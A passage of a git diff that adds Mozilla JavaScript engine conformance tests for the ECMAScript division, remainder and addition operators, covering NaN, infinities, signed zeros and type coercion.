+ already stated above.
+ Division of a finite value by an infinity results in zero. The sign is determined by the rule already stated above.
+ Division of a zero by a zero results in NaN; division of zero by any other finite value results in zero, with the sign
+ determined by the rule already stated above.
+ Division of a non-zero finite value by a zero results in a signed infinity. The sign is determined by the rule
+ already stated above.
+ In the remaining cases, where neither an infinity, nor a zero, nor NaN is involved, the quotient is computed and
+ rounded to the nearest representable value using IEEE 754 round-to-nearest mode. If the magnitude is too
+ large to represent, we say the operation overflows; the result is then an infinity of appropriate sign. If the
+ magnitude is too small to represent, we say the operation underflows and the result is a zero of the appropriate
+ sign. The ECMAScript language requires support of gradual underflow as defined by IEEE 754.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.5.2";
+var VERSION = "ECMA_1";
+var BUGNUMBER="111202";
+startTest();
+
+writeHeaderToLog( SECTION + " Applying the / operator");
+
+// if either operand is NaN, the result is NaN.
+
+new TestCase( SECTION, "Number.NaN / Number.NaN", Number.NaN, Number.NaN / Number.NaN );
+new TestCase( SECTION, "Number.NaN / 1", Number.NaN, Number.NaN / 1 );
+new TestCase( SECTION, "1 / Number.NaN", Number.NaN, 1 / Number.NaN );
+
+new TestCase( SECTION, "Number.POSITIVE_INFINITY / Number.NaN", Number.NaN, Number.POSITIVE_INFINITY / Number.NaN );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY / Number.NaN", Number.NaN, Number.NEGATIVE_INFINITY / Number.NaN );
+
+// Division of an infinity by an infinity results in NaN.
+
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY / Number.NEGATIVE_INFINITY", Number.NaN, Number.NEGATIVE_INFINITY / Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY / Number.NEGATIVE_INFINITY", Number.NaN, Number.POSITIVE_INFINITY / Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY / Number.POSITIVE_INFINITY", Number.NaN, Number.NEGATIVE_INFINITY / Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY / Number.POSITIVE_INFINITY", Number.NaN, Number.POSITIVE_INFINITY / Number.POSITIVE_INFINITY );
+
+// Division of an infinity by a zero results in an infinity.
+
+new TestCase( SECTION, "Number.POSITIVE_INFINITY / 0", Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY / 0 );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY / 0", Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY / 0 );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY / -0", Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY / -0 );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY / -0", Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY / -0 );
+
+// Division of an infinity by a non-zero finite value results in a signed infinity.
+
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY / 1 ", Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY / 1 );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY / -1 ", Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY / -1 );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY / 1 ", Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY / 1 );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY / -1 ", Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY / -1 );
+
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY / Number.MAX_VALUE ", Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY / Number.MAX_VALUE );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY / -Number.MAX_VALUE ", Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY / -Number.MAX_VALUE );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY / Number.MAX_VALUE ", Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY / Number.MAX_VALUE );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY / -Number.MAX_VALUE ", Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY / -Number.MAX_VALUE );
+
+// Division of a finite value by an infinity results in zero.
+
+new TestCase( SECTION, "1 / Number.NEGATIVE_INFINITY", -0, 1 / Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "1 / Number.POSITIVE_INFINITY", 0, 1 / Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "-1 / Number.POSITIVE_INFINITY", -0, -1 / Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "-1 / Number.NEGATIVE_INFINITY", 0, -1 / Number.NEGATIVE_INFINITY );
+
+new TestCase( SECTION, "Number.MAX_VALUE / Number.NEGATIVE_INFINITY", -0, Number.MAX_VALUE / Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "Number.MAX_VALUE / Number.POSITIVE_INFINITY", 0, Number.MAX_VALUE / Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "-Number.MAX_VALUE / Number.POSITIVE_INFINITY", -0, -Number.MAX_VALUE / Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "-Number.MAX_VALUE / Number.NEGATIVE_INFINITY", 0, -Number.MAX_VALUE / Number.NEGATIVE_INFINITY );
+
+// Division of a zero by a zero results in NaN
+
+new TestCase( SECTION, "0 / -0", Number.NaN, 0 / -0 );
+new TestCase( SECTION, "-0 / 0", Number.NaN, -0 / 0 );
+new TestCase( SECTION, "-0 / -0", Number.NaN, -0 / -0 );
+new TestCase( SECTION, "0 / 0", Number.NaN, 0 / 0 );
+
+// division of zero by any other finite value results in zero
+
+new TestCase( SECTION, "0 / 1", 0, 0 / 1 );
+new TestCase( SECTION, "0 / -1", -0, 0 / -1 );
+new TestCase( SECTION, "-0 / 1", -0, -0 / 1 );
+new TestCase( SECTION, "-0 / -1", 0, -0 / -1 );
+
+// Division of a non-zero finite value by a zero results in a signed infinity.
+
+new TestCase( SECTION, "1 / 0", Number.POSITIVE_INFINITY, 1/0 );
+new TestCase( SECTION, "1 / -0", Number.NEGATIVE_INFINITY, 1/-0 );
+new TestCase( SECTION, "-1 / 0", Number.NEGATIVE_INFINITY, -1/0 );
+new TestCase( SECTION, "-1 / -0", Number.POSITIVE_INFINITY, -1/-0 );
+
+new TestCase( SECTION, "0 / Number.POSITIVE_INFINITY", 0, 0 / Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "0 / Number.NEGATIVE_INFINITY", -0, 0 / Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "-0 / Number.POSITIVE_INFINITY", -0, -0 / Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "-0 / Number.NEGATIVE_INFINITY", 0, -0 / Number.NEGATIVE_INFINITY );
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.5.3.js b/js/src/tests/ecma/Expressions/11.5.3.js
new file mode 100644
index 000000000..1bbf94efd
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.5.3.js
@@ -0,0 +1,127 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.5.3.js
+ ECMA Section: 11.5.3 Applying the % operator
+ Description:
+
+ The binary % operator is said to yield the remainder of its operands from
+ an implied division; the left operand is the dividend and the right operand
+ is the divisor. In C and C++, the remainder operator accepts only integral
+ operands, but in ECMAScript, it also accepts floating-point operands.
+
+ The result of a floating-point remainder operation as computed by the %
+ operator is not the same as the "remainder" operation defined by IEEE 754.
+ The IEEE 754 "remainder" operation computes the remainder from a rounding
+ division, not a truncating division, and so its behavior is not analogous
+ to that of the usual integer remainder operator. Instead the ECMAScript
+ language defines % on floating-point operations to behave in a manner
+ analogous to that of the Java integer remainder operator; this may be
+ compared with the C library function fmod.
+
+ The result of a ECMAScript floating-point remainder operation is determined by the rules of IEEE arithmetic:
+
+ If either operand is NaN, the result is NaN.
+ The sign of the result equals the sign of the dividend.
+ If the dividend is an infinity, or the divisor is a zero, or both, the result is NaN.
+ If the dividend is finite and the divisor is an infinity, the result equals the dividend.
+ If the dividend is a zero and the divisor is finite, the result is the same as the dividend.
+ In the remaining cases, where neither an infinity, nor a zero, nor NaN is involved, the floating-point remainder r
+ from a dividend n and a divisor d is defined by the mathematical relation r = n (d * q) where q is an integer that
+ is negative only if n/d is negative and positive only if n/d is positive, and whose magnitude is as large as
+ possible without exceeding the magnitude of the true mathematical quotient of n and d.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.5.3";
+var VERSION = "ECMA_1";
+var BUGNUMBER="111202";
+startTest();
+
+
+writeHeaderToLog( SECTION + " Applying the % operator");
+
+// if either operand is NaN, the result is NaN.
+
+new TestCase( SECTION, "Number.NaN % Number.NaN", Number.NaN, Number.NaN % Number.NaN );
+new TestCase( SECTION, "Number.NaN % 1", Number.NaN, Number.NaN % 1 );
+new TestCase( SECTION, "1 % Number.NaN", Number.NaN, 1 % Number.NaN );
+
+new TestCase( SECTION, "Number.POSITIVE_INFINITY % Number.NaN", Number.NaN, Number.POSITIVE_INFINITY % Number.NaN );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY % Number.NaN", Number.NaN, Number.NEGATIVE_INFINITY % Number.NaN );
+
+// If the dividend is an infinity, or the divisor is a zero, or both, the result is NaN.
+// dividend is an infinity
+
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY % Number.NEGATIVE_INFINITY", Number.NaN, Number.NEGATIVE_INFINITY % Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY % Number.NEGATIVE_INFINITY", Number.NaN, Number.POSITIVE_INFINITY % Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY % Number.POSITIVE_INFINITY", Number.NaN, Number.NEGATIVE_INFINITY % Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY % Number.POSITIVE_INFINITY", Number.NaN, Number.POSITIVE_INFINITY % Number.POSITIVE_INFINITY );
+
+new TestCase( SECTION, "Number.POSITIVE_INFINITY % 0", Number.NaN, Number.POSITIVE_INFINITY % 0 );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY % 0", Number.NaN, Number.NEGATIVE_INFINITY % 0 );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY % -0", Number.NaN, Number.POSITIVE_INFINITY % -0 );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY % -0", Number.NaN, Number.NEGATIVE_INFINITY % -0 );
+
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY % 1 ", Number.NaN, Number.NEGATIVE_INFINITY % 1 );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY % -1 ", Number.NaN, Number.NEGATIVE_INFINITY % -1 );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY % 1 ", Number.NaN, Number.POSITIVE_INFINITY % 1 );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY % -1 ", Number.NaN, Number.POSITIVE_INFINITY % -1 );
+
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY % Number.MAX_VALUE ", Number.NaN, Number.NEGATIVE_INFINITY % Number.MAX_VALUE );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY % -Number.MAX_VALUE ", Number.NaN, Number.NEGATIVE_INFINITY % -Number.MAX_VALUE );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY % Number.MAX_VALUE ", Number.NaN, Number.POSITIVE_INFINITY % Number.MAX_VALUE );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY % -Number.MAX_VALUE ", Number.NaN, Number.POSITIVE_INFINITY % -Number.MAX_VALUE );
+
+// divisor is 0
+new TestCase( SECTION, "0 % -0", Number.NaN, 0 % -0 );
+new TestCase( SECTION, "-0 % 0", Number.NaN, -0 % 0 );
+new TestCase( SECTION, "-0 % -0", Number.NaN, -0 % -0 );
+new TestCase( SECTION, "0 % 0", Number.NaN, 0 % 0 );
+
+new TestCase( SECTION, "1 % 0", Number.NaN, 1%0 );
+new TestCase( SECTION, "1 % -0", Number.NaN, 1%-0 );
+new TestCase( SECTION, "-1 % 0", Number.NaN, -1%0 );
+new TestCase( SECTION, "-1 % -0", Number.NaN, -1%-0 );
+
+new TestCase( SECTION, "Number.MAX_VALUE % 0", Number.NaN, Number.MAX_VALUE%0 );
+new TestCase( SECTION, "Number.MAX_VALUE % -0", Number.NaN, Number.MAX_VALUE%-0 );
+new TestCase( SECTION, "-Number.MAX_VALUE % 0", Number.NaN, -Number.MAX_VALUE%0 );
+new TestCase( SECTION, "-Number.MAX_VALUE % -0", Number.NaN, -Number.MAX_VALUE%-0 );
+
+// If the dividend is finite and the divisor is an infinity, the result equals the dividend.
+
+new TestCase( SECTION, "1 % Number.NEGATIVE_INFINITY", 1, 1 % Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "1 % Number.POSITIVE_INFINITY", 1, 1 % Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "-1 % Number.POSITIVE_INFINITY", -1, -1 % Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "-1 % Number.NEGATIVE_INFINITY", -1, -1 % Number.NEGATIVE_INFINITY );
+
+new TestCase( SECTION, "Number.MAX_VALUE % Number.NEGATIVE_INFINITY", Number.MAX_VALUE, Number.MAX_VALUE % Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "Number.MAX_VALUE % Number.POSITIVE_INFINITY", Number.MAX_VALUE, Number.MAX_VALUE % Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "-Number.MAX_VALUE % Number.POSITIVE_INFINITY", -Number.MAX_VALUE, -Number.MAX_VALUE % Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "-Number.MAX_VALUE % Number.NEGATIVE_INFINITY", -Number.MAX_VALUE, -Number.MAX_VALUE % Number.NEGATIVE_INFINITY );
+
+new TestCase( SECTION, "0 % Number.POSITIVE_INFINITY", 0, 0 % Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "0 % Number.NEGATIVE_INFINITY", 0, 0 % Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "-0 % Number.POSITIVE_INFINITY", -0, -0 % Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "-0 % Number.NEGATIVE_INFINITY", -0, -0 % Number.NEGATIVE_INFINITY );
+
+// If the dividend is a zero and the divisor is finite, the result is the same as the dividend.
+
+new TestCase( SECTION, "0 % 1", 0, 0 % 1 );
+new TestCase( SECTION, "0 % -1", -0, 0 % -1 );
+new TestCase( SECTION, "-0 % 1", -0, -0 % 1 );
+new TestCase( SECTION, "-0 % -1", 0, -0 % -1 );
+
+// In the remaining cases, where neither an infinity, nor a zero, nor NaN is involved, the floating-point remainder r
+// from a dividend n and a divisor d is defined by the mathematical relation r = n (d * q) where q is an integer that
+// is negative only if n/d is negative and positive only if n/d is positive, and whose magnitude is as large as
+// possible without exceeding the magnitude of the true mathematical quotient of n and d.
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.6.1-1.js b/js/src/tests/ecma/Expressions/11.6.1-1.js
new file mode 100644
index 000000000..40669e532
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.6.1-1.js
@@ -0,0 +1,126 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.6.1-1.js
+ ECMA Section: 11.6.1 The addition operator ( + )
+ Description:
+
+ The addition operator either performs string concatenation or numeric
+ addition.
+
+ The production AdditiveExpression : AdditiveExpression + MultiplicativeExpression
+ is evaluated as follows:
+
+ 1. Evaluate AdditiveExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate MultiplicativeExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToPrimitive(Result(2)).
+ 6. Call ToPrimitive(Result(4)).
+ 7. If Type(Result(5)) is String or Type(Result(6)) is String, go to step 12.
+ (Note that this step differs from step 3 in the algorithm for comparison
+ for the relational operators in using or instead of and.)
+ 8. Call ToNumber(Result(5)).
+ 9. Call ToNumber(Result(6)).
+ 10. Apply the addition operation to Result(8) and Result(9). See the discussion below (11.6.3).
+ 11. Return Result(10).
+ 12. Call ToString(Result(5)).
+ 13. Call ToString(Result(6)).
+ 14. Concatenate Result(12) followed by Result(13).
+ 15. Return Result(14).
+
+ Note that no hint is provided in the calls to ToPrimitive in steps 5 and 6.
+ All native ECMAScript objects except Date objects handle the absence of a
+ hint as if the hint Number were given; Date objects handle the absence of a
+ hint as if the hint String were given. Host objects may handle the absence
+ of a hint in some other manner.
+
+ This test does not cover cases where the Additive or Mulplicative expression
+ ToPrimitive is string.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.6.1-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The Addition operator ( + )");
+
+// tests for boolean primitive, boolean object, Object object, a "MyObject" whose value is
+// a boolean primitive and a boolean object.
+
+new TestCase( SECTION,
+ "var EXP_1 = true; var EXP_2 = false; EXP_1 + EXP_2",
+ 1,
+ eval("var EXP_1 = true; var EXP_2 = false; EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Boolean(true); var EXP_2 = new Boolean(false); EXP_1 + EXP_2",
+ 1,
+ eval("var EXP_1 = new Boolean(true); var EXP_2 = new Boolean(false); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Object(true); var EXP_2 = new Object(false); EXP_1 + EXP_2",
+ 1,
+ eval("var EXP_1 = new Object(true); var EXP_2 = new Object(false); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Object(new Boolean(true)); var EXP_2 = new Object(new Boolean(false)); EXP_1 + EXP_2",
+ 1,
+ eval("var EXP_1 = new Object(new Boolean(true)); var EXP_2 = new Object(new Boolean(false)); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyObject(true); var EXP_2 = new MyObject(false); EXP_1 + EXP_2",
+ 1,
+ eval("var EXP_1 = new MyObject(true); var EXP_2 = new MyObject(false); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyObject(new Boolean(true)); var EXP_2 = new MyObject(new Boolean(false)); EXP_1 + EXP_2",
+ "[object Object][object Object]",
+ eval("var EXP_1 = new MyObject(new Boolean(true)); var EXP_2 = new MyObject(new Boolean(false)); EXP_1 + EXP_2") );
+
+// tests for number primitive, number object, Object object, a "MyObject" whose value is
+// a number primitive and a number object.
+
+new TestCase( SECTION,
+ "var EXP_1 = 100; var EXP_2 = -1; EXP_1 + EXP_2",
+ 99,
+ eval("var EXP_1 = 100; var EXP_2 = -1; EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Number(100); var EXP_2 = new Number(-1); EXP_1 + EXP_2",
+ 99,
+ eval("var EXP_1 = new Number(100); var EXP_2 = new Number(-1); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Object(100); var EXP_2 = new Object(-1); EXP_1 + EXP_2",
+ 99,
+ eval("var EXP_1 = new Object(100); var EXP_2 = new Object(-1); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Object(new Number(100)); var EXP_2 = new Object(new Number(-1)); EXP_1 + EXP_2",
+ 99,
+ eval("var EXP_1 = new Object(new Number(100)); var EXP_2 = new Object(new Number(-1)); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyObject(100); var EXP_2 = new MyObject(-1); EXP_1 + EXP_2",
+ 99,
+ eval("var EXP_1 = new MyObject(100); var EXP_2 = new MyObject(-1); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyObject(new Number(100)); var EXP_2 = new MyObject(new Number(-1)); EXP_1 + EXP_2",
+ "[object Object][object Object]",
+ eval("var EXP_1 = new MyObject(new Number(100)); var EXP_2 = new MyObject(new Number(-1)); EXP_1 + EXP_2") );
+
+
+test();
+
+function MyObject( value ) {
+ this.valueOf = new Function( "return this.value" );
+ this.value = value;
+}
diff --git a/js/src/tests/ecma/Expressions/11.6.1-2.js b/js/src/tests/ecma/Expressions/11.6.1-2.js
new file mode 100644
index 000000000..a04256d5f
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.6.1-2.js
@@ -0,0 +1,130 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.6.1-2.js
+ ECMA Section: 11.6.1 The addition operator ( + )
+ Description:
+
+ The addition operator either performs string concatenation or numeric
+ addition.
+
+ The production AdditiveExpression : AdditiveExpression + MultiplicativeExpression
+ is evaluated as follows:
+
+ 1. Evaluate AdditiveExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate MultiplicativeExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToPrimitive(Result(2)).
+ 6. Call ToPrimitive(Result(4)).
+ 7. If Type(Result(5)) is String or Type(Result(6)) is String, go to step 12.
+ (Note that this step differs from step 3 in the algorithm for comparison
+ for the relational operators in using or instead of and.)
+ 8. Call ToNumber(Result(5)).
+ 9. Call ToNumber(Result(6)).
+ 10. Apply the addition operation to Result(8) and Result(9). See the discussion below (11.6.3).
+ 11. Return Result(10).
+ 12. Call ToString(Result(5)).
+ 13. Call ToString(Result(6)).
+ 14. Concatenate Result(12) followed by Result(13).
+ 15. Return Result(14).
+
+ Note that no hint is provided in the calls to ToPrimitive in steps 5 and 6.
+ All native ECMAScript objects except Date objects handle the absence of a
+ hint as if the hint Number were given; Date objects handle the absence of a
+ hint as if the hint String were given. Host objects may handle the absence
+ of a hint in some other manner.
+
+ This test does only covers cases where the Additive or Mulplicative expression
+ ToPrimitive is a string.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.6.1-2";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The Addition operator ( + )");
+
+// tests for boolean primitive, boolean object, Object object, a "MyObject" whose value is
+// a boolean primitive and a boolean object.
+
+new TestCase( SECTION,
+ "var EXP_1 = 'string'; var EXP_2 = false; EXP_1 + EXP_2",
+ "stringfalse",
+ eval("var EXP_1 = 'string'; var EXP_2 = false; EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = true; var EXP_2 = 'string'; EXP_1 + EXP_2",
+ "truestring",
+ eval("var EXP_1 = true; var EXP_2 = 'string'; EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Boolean(true); var EXP_2 = new String('string'); EXP_1 + EXP_2",
+ "truestring",
+ eval("var EXP_1 = new Boolean(true); var EXP_2 = new String('string'); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Object(true); var EXP_2 = new Object('string'); EXP_1 + EXP_2",
+ "truestring",
+ eval("var EXP_1 = new Object(true); var EXP_2 = new Object('string'); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Object(new String('string')); var EXP_2 = new Object(new Boolean(false)); EXP_1 + EXP_2",
+ "stringfalse",
+ eval("var EXP_1 = new Object(new String('string')); var EXP_2 = new Object(new Boolean(false)); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyObject(true); var EXP_2 = new MyObject('string'); EXP_1 + EXP_2",
+ "truestring",
+ eval("var EXP_1 = new MyObject(true); var EXP_2 = new MyObject('string'); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyObject(new String('string')); var EXP_2 = new MyObject(new Boolean(false)); EXP_1 + EXP_2",
+ "[object Object][object Object]",
+ eval("var EXP_1 = new MyObject(new String('string')); var EXP_2 = new MyObject(new Boolean(false)); EXP_1 + EXP_2") );
+
+// tests for number primitive, number object, Object object, a "MyObject" whose value is
+// a number primitive and a number object.
+
+new TestCase( SECTION,
+ "var EXP_1 = 100; var EXP_2 = 'string'; EXP_1 + EXP_2",
+ "100string",
+ eval("var EXP_1 = 100; var EXP_2 = 'string'; EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new String('string'); var EXP_2 = new Number(-1); EXP_1 + EXP_2",
+ "string-1",
+ eval("var EXP_1 = new String('string'); var EXP_2 = new Number(-1); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Object(100); var EXP_2 = new Object('string'); EXP_1 + EXP_2",
+ "100string",
+ eval("var EXP_1 = new Object(100); var EXP_2 = new Object('string'); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Object(new String('string')); var EXP_2 = new Object(new Number(-1)); EXP_1 + EXP_2",
+ "string-1",
+ eval("var EXP_1 = new Object(new String('string')); var EXP_2 = new Object(new Number(-1)); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyObject(100); var EXP_2 = new MyObject('string'); EXP_1 + EXP_2",
+ "100string",
+ eval("var EXP_1 = new MyObject(100); var EXP_2 = new MyObject('string'); EXP_1 + EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyObject(new String('string')); var EXP_2 = new MyObject(new Number(-1)); EXP_1 + EXP_2",
+ "[object Object][object Object]",
+ eval("var EXP_1 = new MyObject(new String('string')); var EXP_2 = new MyObject(new Number(-1)); EXP_1 + EXP_2") );
+
+test();
+
+function MyObject( value ) {
+ this.valueOf = new Function( "return this.value" );
+ this.value = value;
+}
diff --git a/js/src/tests/ecma/Expressions/11.6.1-3.js b/js/src/tests/ecma/Expressions/11.6.1-3.js
new file mode 100644
index 000000000..c8d0781e4
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.6.1-3.js
@@ -0,0 +1,116 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.6.1-3.js
+ ECMA Section: 11.6.1 The addition operator ( + )
+ Description:
+
+ The addition operator either performs string concatenation or numeric
+ addition.
+
+ The production AdditiveExpression : AdditiveExpression + MultiplicativeExpression
+ is evaluated as follows:
+
+ 1. Evaluate AdditiveExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate MultiplicativeExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToPrimitive(Result(2)).
+ 6. Call ToPrimitive(Result(4)).
+ 7. If Type(Result(5)) is String or Type(Result(6)) is String, go to step 12.
+ (Note that this step differs from step 3 in the algorithm for comparison
+ for the relational operators in using or instead of and.)
+ 8. Call ToNumber(Result(5)).
+ 9. Call ToNumber(Result(6)).
+ 10. Apply the addition operation to Result(8) and Result(9). See the discussion below (11.6.3).
+ 11. Return Result(10).
+ 12. Call ToString(Result(5)).
+ 13. Call ToString(Result(6)).
+ 14. Concatenate Result(12) followed by Result(13).
+ 15. Return Result(14).
+
+ Note that no hint is provided in the calls to ToPrimitive in steps 5 and 6.
+ All native ECMAScript objects except Date objects handle the absence of a
+ hint as if the hint Number were given; Date objects handle the absence of a
+ hint as if the hint String were given. Host objects may handle the absence
+ of a hint in some other manner.
+
+ This test does only covers cases where the Additive or Mulplicative expression
+ is a Date.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.6.1-3";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The Addition operator ( + )");
+
+// tests for boolean primitive, boolean object, Object object, a "MyObject" whose value is
+// a boolean primitive and a boolean object.
+
+var DATE1 = new Date();
+
+new TestCase( SECTION,
+ "var DATE1 = new Date(); DATE1 + DATE1",
+ DATE1.toString() + DATE1.toString(),
+ DATE1 + DATE1 );
+
+new TestCase( SECTION,
+ "var DATE1 = new Date(); DATE1 + 0",
+ DATE1.toString() + 0,
+ DATE1 + 0 );
+
+new TestCase( SECTION,
+ "var DATE1 = new Date(); DATE1 + new Number(0)",
+ DATE1.toString() + 0,
+ DATE1 + new Number(0) );
+
+new TestCase( SECTION,
+ "var DATE1 = new Date(); DATE1 + true",
+ DATE1.toString() + "true",
+ DATE1 + true );
+
+new TestCase( SECTION,
+ "var DATE1 = new Date(); DATE1 + new Boolean(true)",
+ DATE1.toString() + "true",
+ DATE1 + new Boolean(true) );
+
+new TestCase( SECTION,
+ "var DATE1 = new Date(); DATE1 + new Boolean(true)",
+ DATE1.toString() + "true",
+ DATE1 + new Boolean(true) );
+
+var MYOB1 = new MyObject( DATE1 );
+
+new TestCase( SECTION,
+ "MYOB1 = new MyObject(DATE1); MYOB1 + new Number(1)",
+ "[object Object]1",
+ MYOB1 + new Number(1) );
+
+new TestCase( SECTION,
+ "MYOB1 = new MyObject(DATE1); MYOB1 + 1",
+ "[object Object]1",
+ MYOB1 + 1 );
+
+new TestCase( SECTION,
+ "MYOB1 = new MyObject(DATE1); MYOB1 + true",
+ "[object Object]true",
+ MYOB1 + true );
+
+test();
+
+function MyPrototypeObject(value) {
+ this.valueOf = new Function( "return this.value;" );
+ this.toString = new Function( "return (this.value + '');" );
+ this.value = value;
+}
+function MyObject( value ) {
